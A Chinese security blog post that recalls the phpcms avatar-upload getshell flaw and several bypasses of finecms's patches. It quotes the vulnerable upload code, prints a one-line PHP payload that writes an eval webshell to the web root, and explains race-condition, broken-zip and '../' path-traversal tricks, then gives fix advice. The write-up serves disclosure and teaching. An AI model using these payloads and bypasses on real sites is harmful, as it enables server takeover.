回忆phpcms头像上传漏洞以及后续影响-工具盒子

暑假写的文章了，最近博客没干货，发出来娱乐一下。

为了响应爱慕锅（Mramydnei）、撸大师（索马里的海贼）、fd牛（/fd）的号召成立的parsec团队，以及各位老师多年来对我的教育，我要写篇回忆稿。看标题大家可能觉得，这陈芝麻烂谷子的事你还拿出来说啥。当然，我自己搓一点都无所谓，但怎么能丢了parsec的脸，各位还是且听我娓娓道来~

0×01 最初的phpcms头像上传getshell漏洞 {#001-phpcmsgetshell}

不知道大家还记得phpcms曾经火极一时的头像上传漏洞不，因为这个漏洞，互联网上大量站点被黑，影响极为恶劣。

那件事以后我分析过漏洞才成因以及利用方法（https://www.leavesongs.com/PENETRATION/phpcms-upload-getshell.html），简单来说phpcms对头像上传是这么处理：上传上去的zip文件，它先解压好，然后删除非图片文件。
关键地方代码：

<?php
//存储flashpost图片
  $filename = $dir.$this->uid.'.zip';
  file_put_contents($filename, $this->avatardata);

//此时写入压缩文件夹内容

  //解压缩文件
  pc_base::load_app_class('pclzip', 'phpsso', 0);
  $archive = new PclZip($filename);
  if ($archive->extract(PCLZIP_OPT_PATH, $dir) == 0) {
   die("Error : ".$archive->errorInfo(true));
  }

//568 行

//判断文件安全，删除压缩包和非jpg图片
  $avatararr = array('180x180.jpg', '30x30.jpg', '45x45.jpg', '90x90.jpg');
  if($handle = opendir($dir)) {
      while(false !== ($file = readdir($handle))) {
    if($file !== '.' && $file !== '..') {
     if(!in_array($file, $avatararr)) {
      @unlink($dir.$file);
     } else {
      $info = @getimagesize($dir.$file);
      if(!$info || $info[2] !=2) {
       @unlink($dir.$file);
      }
     }
    }
}

可以看到，它删除的时候没有递归删除，也没有删除文件夹。这样，只要我们的webshell放在压缩包的文件夹中，即可避免被删除了。

所以我就创建了一个包含phi文件夹的压缩包，phi里面放上webshell.php，上传上去。

这就是phpcms最早的头像上传漏洞。这个漏洞影响的不只是phpcms，也包括抄袭其代码的finecms。

finecms是一个很喜感的cms，在phpcms出问题以后，finecms偷偷将漏洞修复了，当然修复方法就是直接拷贝了phpcms的补丁。

0×02 finecms前台getshell（phpcms补丁绕过） {#002-finecmsgetshellphpcms}

纯属抄袭自己不动脑子的人，最容易出问题，比如finecms的开发者。自以为自己反应速度得当，在迅雷不及掩耳盗铃的时间内将phpcms的补丁抄了过来，然后就安然度过了半年的悠闲时光。
phpcms的补丁被绕过了无数次难道你不知道么？你这么屌你的用户们知道么？

那么，我们来看看finecms(phpcms代码类似)是怎么修补这个漏洞的：

<?php
public function upload() {

        if (!isset($GLOBALS['HTTP_RAW_POST_DATA'])) {

            exit('环境不支持');

        }

        $dir = FCPATH.'member/uploadfile/member/'.$this->uid.'/'; // 创建图片存储文件夹

        if (!file_exists($dir)) {

            mkdir($dir, 0777, true);

        }

        $filename = $dir.'avatar.zip'; // 存储flashpost图片

        file_put_contents($filename, $GLOBALS['HTTP_RAW_POST_DATA']);

        // 解压缩文件

        $this->load->library('Pclzip');

        $this->pclzip->PclFile($filename);

        if ($this->pclzip->extract(PCLZIP_OPT_PATH, $dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {

            exit($this->pclzip->zip(true));

        }

        // 限制文件名称

        $avatararr = array('45x45.jpg', '90x90.jpg');

        // 删除多余目录

        $files = glob($dir."*");

        foreach($files as $_files) {

            if (is_dir($_files)) {

                dr_dir_delete($_files);

            }

            if (!in_array(basename($_files), $avatararr)) {

                @unlink($_files);

            }

        }

        // 判断文件安全，删除压缩包和非jpg图片

        if($handle = opendir($dir)) {

            while (false !== ($file = readdir($handle))) {

                if ($file !== '.' && $file !== '..') {

                    if (!in_array($file, $avatararr)) {

                        @unlink($dir . $file);

                    } else {

                        $info = @getimagesize($dir . $file);

                        if (!$info || $info[2] !=2) {

                            @unlink($dir . $file);

                        }

                    }

                }

            }

            closedir($handle);   

        }

        @unlink($filename);

好，我们看到，之前产生漏洞的原因就是因为没有考虑文件在文件夹中的情况，只删除了压缩包根目录下的非法文件，而没有删除其文件夹中的非法文件。

所以补丁就采用了递归删除的方式，将压缩包中所有非法文件删除。就是这个dr_dir_delete函数。

我们就不研究这个函数了，我们考虑一种情况，那么如果我上传包含这样代码的压缩包：

<?php fputs(fopen('../../../../../shell.php','w'),'<?php phpinfo();eval($_POST[a]);?>');?>

在文件上传解压到被删除这个时间差里访问，就能在网站根目录下生成新的php文件，那么新生成的php文件是不会被删除的。

这就是一个竞争性上传漏洞，需要我们抓住这个时间差，在上传的php文件还没被删除前访问到它，就能够暴力getshell了。

这是乌云白帽子@felixk3y 在乌云上提出的绕过方法（http://www.wooyun.org/bugs/wooyun-2014-049794），当然我们应用到这里，也成功绕过finecms的补丁，造成getshell（http://wooyun.org/bugs/wooyun-2010-063369）。

0×03 突破程序员的小聪明，phpcms补丁的继续绕过 {#003-phpcms}

于是finecms意识到自己的问题，偷偷修补了这个安全问题。当时的他们是这样修复的：

<?php
// 创建图片存储的临时文件夹

   $temp = FCPATH.'cache/attach/'.md5(uniqid().rand(0, 9999)).'/';

   if (!file_exists($temp)) {

       mkdir($temp, 0777);

   }

   $filename = $temp.'avatar.zip'; // 存储flashpost图片

   file_put_contents($filename, $GLOBALS['HTTP_RAW_POST_DATA']);

   // 解压缩文件

   $this->load->library('Pclzip');

   $this->pclzip->PclFile($filename);

   if ($this->pclzip->extract(PCLZIP_OPT_PATH, $temp, PCLZIP_OPT_REPLACE_NEWER) == 0) {

       exit($this->pclzip->zip(true));

   }

   @unlink($filename);

说起来这也是phpcms曾经的修复方法，就是将压缩包放在一个随机命名的文件夹中再解压缩，这样你猜不到访问地址也就没法去暴力getshell了。

但是实质上这也只是解决了一个芝麻小的问题，而真正出现漏洞的点他们并未进行修复。

我们看到这段代码：

<?php
if ($this->pclzip->extract(PCLZIP_OPT_PATH, $dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {

    exit($this->pclzip->zip(true));

}

当解压发生失败时，就退出解压缩过程。

这也是一个很平常的思路，失败了肯定要报错并退出，因为后面的代码没法运行了。但是，程序员不会想到，有些压缩包能在解压到一半的时候出错。

什么意思，也就说我可以构造一个"出错"的压缩包，它可以解压出部分文件，但绝对会在解压未完成时出错。这是造成了一个状况：我上传的压缩包被解压了一半，webshell被解压出来了，但因为解压失败这里exit($this->pclzip->zip(true));退出了程序执行，后面一切的删除操作都没有了作用。

首先构造一个解压会出错的压缩包，大家看下图，1-7.php都已经被成功解压了，但6.php解压出错，WinRAR弹出了出错信息：

发包的时候，将这个压缩包带上，会发现返回了500，出错信息：

但你的webshell已经解压完毕了。这个漏洞造成了finecms官网的沦陷：http://wooyun.org/bugs/wooyun-2010-064128。

0×04 加了行代码就真的安全了吗？终极手段上！ {#004}

在官网被我日了以后finecms依旧无耻地说自己已经修复了这个漏洞，真稀奇。

过了半个月我看到了他们最新的代码：

<?php
if (!isset($GLOBALS['HTTP_RAW_POST_DATA'])) {

    exit('环境不支持');

}

// 创建图片存储文件夹

$dir = FCPATH.'member/uploadfile/member/'.$this->uid.'/';

if (!file_exists($dir)) {

    mkdir($dir, 0777, true);

}

// 创建图片存储的临时文件夹

$temp = FCPATH.'cache/attach/'.md5(uniqid().rand(0, 9999)).'/';

if (!file_exists($temp)) {

    mkdir($temp, 0777);

}

$filename = $temp.'avatar.zip'; // 存储flashpost图片

file_put_contents($filename, $GLOBALS['HTTP_RAW_POST_DATA']);

// 解压缩文件

$this->load->library('Pclzip');

$this->pclzip->PclFile($filename);

if ($this->pclzip->extract(PCLZIP_OPT_PATH, $temp, PCLZIP_OPT_REPLACE_NEWER) == 0) {

    @dr_dir_delete($temp);

    exit($this->pclzip->zip(true));

}

@unlink($filename);

加了行代码：@dr_dir_delete($temp);，解压出错后，在exit前将已经解压出来的内容删除了。确实避免了我在0×03中说到的安全问题。

但finecms的开发者依旧是没有能看到真正造成这个漏洞的原因。

原因就出在解压压缩包的这个操作上。这个类你就把别人的代码拿来一抄就觉得完毕了，你知道这个类真正的用法么？大家猜猜我这次怎么绕过上诉补丁的。

压缩包中通常是不含有诸如"../"、".."这种文件名的，但通常不含有不代表不能含有。我如果把压缩包中某文件名改成../../../../../index.php，是不是就能直接把你首页变成我的webshell呀？

这就是因为抄袭者并没有真正领悟zip这个类的使用方法，导致了这个安全问题。我在本地用notepad++即可修改、构造一个压缩包。

先把自己的shell改名字成aaaaaaaaaaaaaaaaaaaa.php

之所以起这个名字，就是预留一些空间，方便我之后将文件名改成../../../aaaaaaaaaaa.php而不用怕字符串长度不对。

把文件直接打包成zip，用notepad++打开：

将我画框的俩文件名的前9个字符改成../../../

然后就大功告成。

上传头像时抓包将刚才构造的压缩包贴进去：

然后，网站根目录下就会有你的shell了:aaaaaaaaaaa.php

通过这个方法，就能无限制地getshell：http://wooyun.org/bugs/wooyun-2010-067512

0×05 未完待续，以及究竟怎么修复这个安全问题 {#005}

究竟是什么原因造成了这个漏洞，究其根本还是以为你将用户不安全的POST数据写入了文件，并解压到web目录下了。

世界上有无数种方法可以避免这个问题，web目录下随便写文件真的好吗？为何你不把压缩包放进tmp目录里，如果上传、解压缩的操作都能在tmp目录里完成，再把我们需要的头像文件拷贝到web目录中，还会有这么麻烦的安全问题吗？

phpcms已经彻底抛弃了解压缩的方式，直接在前端将图片处理完成后进行上传。但愚昧的finecms开发者还是抱着自己无知的思路，去用近乎"黑名单"的方式去解决这个问题，那就是黑客怎么日，他就怎么补，永远不知道下一步黑客会从哪里进入。这样的人永远只能落后挨打，这样的cms迟早会成为一个打满补丁的破布，每一个补丁都将付出无数速度与效率的代价。

多说一句，新版本依旧存在缺陷。让他做一个永远补不完的坑吧！